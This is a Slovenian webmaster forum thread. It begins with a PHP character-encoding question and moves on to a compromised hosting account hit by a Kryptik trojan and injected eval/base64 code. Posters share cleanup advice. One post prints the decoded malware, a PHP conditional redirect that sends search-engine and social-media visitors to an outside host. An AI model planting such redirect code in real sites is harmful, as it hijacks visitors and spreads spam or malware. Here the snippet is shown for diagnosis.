Iščem nekoga za ureditev problema s šumniki. Ponudbe tukaj ali na ZS.

http://www.internetmojster.com/programiranje/sumniki.html

schtr4jh:

Imaš v HTML-ju napisan meta charset (utf8)?

Kaj to bi moral met v vseh html datotekah???

Ker nimam več nobene ideje upam da mi kdo lahko pomaga.

V php datoteki imam več takih vrstic, ki pač delajo polja za izbiro:

global $optionmail;

$optionmail = array(

'gmail.com' => 'https://mail.google.com/',

'yahoo.com' => 'http://mail.yahoo.com/',

);

php se začne z:

function getcity($ip=null) {

global $INI;

$cities = optioncategory('city');

$ip = ($ip) ? $ip : Utility::GetRemoteIP();

$url = "http://open.baidu.com/ipsearch/s?wd={$ip}&tn=baiduip";

$res = mbconvertencoding(Utility::HttpRequest($url), 'UTF-8', 'UTF-8');

if ( preg_match('#??:<b>(.+)</b>#Ui', $res, $m) ) {

foreach( $cities AS $cid=>$cname) {

if ( FALSE !== strpos($m[1], $cname) ) {

return Table::Fetch('category', $cid);

}

}

}

return array();

}

To je dejansko vsa koda ki je v datoteki. Problem je, ker moram nekatere stvari poimenovati s šumniki, pač se temu nikakor ne morem izognit.

Če je datoteka shranjena kot ANSI spletna stran deluje normalno, ampak mi ne prikazuje šumnikov, takoj ko jo shranim kot UTF-8 pa se pojavijo problemi, saj se mi stran ne nalaga več pravilno. :)

Kaka pametna ideja kaj naredit?

damirk:

Vse strani sem skeniral z http://sitecheck.sucuri.net/scanner/ in pobrisal ali obnovil okužene datoteke.

hvala.

no zadeva postaja vse bolj zanimiva. Je komu jasno zakaj bi mel v bazi tabelo, ki ima edini zapis kodiran, ob pregledu kode pa ugotoviš, da shranjuje tvoj user in pass??? ter ostale podatke o sami strani.

Fantje hvala vsem za nasvete.

Stanje na mojem gostovanju pa je sledeče: Na eni izmed strani, ki delajo na joomli, je Kryptik trojanec, ki verjetno počne tole, vseh 6 strani na gostovanju je okuženih. Arhive imam za 3 strani (tole bo dobra šola zakaj se delajo arhivi). Ima kdo kako idejo kako naredit multireplace za celoten direktorij vključno s poddirektoriji? Tole bi mi sedaj zelo zelo prav pršlo.

Počistu sm eval decode kodo, zamenju vse ftp accounte, preveru za viruse.

Če se bo problem spet pojavil to verjetno pomeni da je nekaj narobe s skripto, ki sem jo pošteno plačal?

bilten:

ko so predleoval temo si pozabil odstranit pravice oz spremnit nazaj oz nimas instalirnega na serverju zascite

Ne vem zakaj bi kupljena skripta z eno samo temo bila kakorkoli zaščitena, saj ni uporabna za nikamor drugam.

Skripta je standalone in ni kaka Joomla, WP,...

emcee:

Možen vzrok je tudi tema, sem že v nekaj free temah našel take cvetke.

Tema ne bo mogla bit vzrok, gre za kupljeno skripto, design je bil ročno predelan.

Leo:

Kakšna pa je koda, če jo decodaš s tem http://www.opinionatedgeek.com/dotnet/tools/base64decode/?

Koda (tudi zate JWeb):

errorreporting(0);

$qazplm=headerssent();

if (!$qazplm){

$referer=$SERVER['HTTPREFERER'];

$uag=$SERVER['HTTPUSER_AGENT'];

if ($uag) {

if (stristr($referer,"yandex") or stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"baidu.com") or stristr($referer,"doubleclick.net") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or stristr($referer,"clickbank.net") or stristr($referer,"blogspot.com") or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {

if (!stristr($referer,"cache") or !stristr($referer,"inurl")){

header("Location: http://breakingbad.osa.pl/");

exit();

}

}

}

}

OvcaX:

Si zamenjal ftp geslo?

Tega je zadnje čase dokaj veliko, vsaj pri nas.

Danes še zadnjega (svojega!)